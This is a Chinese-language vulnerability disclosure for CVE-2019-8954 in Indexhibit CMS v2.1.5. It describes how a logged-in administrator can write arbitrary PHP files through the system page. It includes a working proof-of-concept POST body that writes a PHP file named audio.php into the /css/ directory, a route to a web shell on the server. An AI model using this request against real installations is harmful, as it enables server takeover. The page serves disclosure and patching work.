CVE中文申请站

CVE-2019-8954:indexhibit cms v2.1.5 直接编辑php文件getshell

一、漏洞摘要

漏洞名称: indexhibit cms v2.1.5 直接编辑php文件getshell
上报日期: 2019-02-20
漏洞发现者: yc(3365487579@qq.com)
产品首页: https://www.indexhibit.org/
软件链接: https://www.indexhibit.org/
版本: v2.1.5
CVE编号: CVE-2019-8954


二、漏洞概述

indexhibit CMS 2.1.5版本存在一个直接编辑php文件的漏洞,导致getshell。

三、利用方法

poc:
当我们登录进后台后,向/ndxzstudio/?a=system
post数据:
upd_jxcode=true&v=%253C%253Fphp%2520phpinfo()%253B%253F%253E&id=%2Fcss%2Faudio.php
即可在/css/目录写入一个php文件audio.php。
1.png

2.png


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/112/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8954
exploit-db:发布中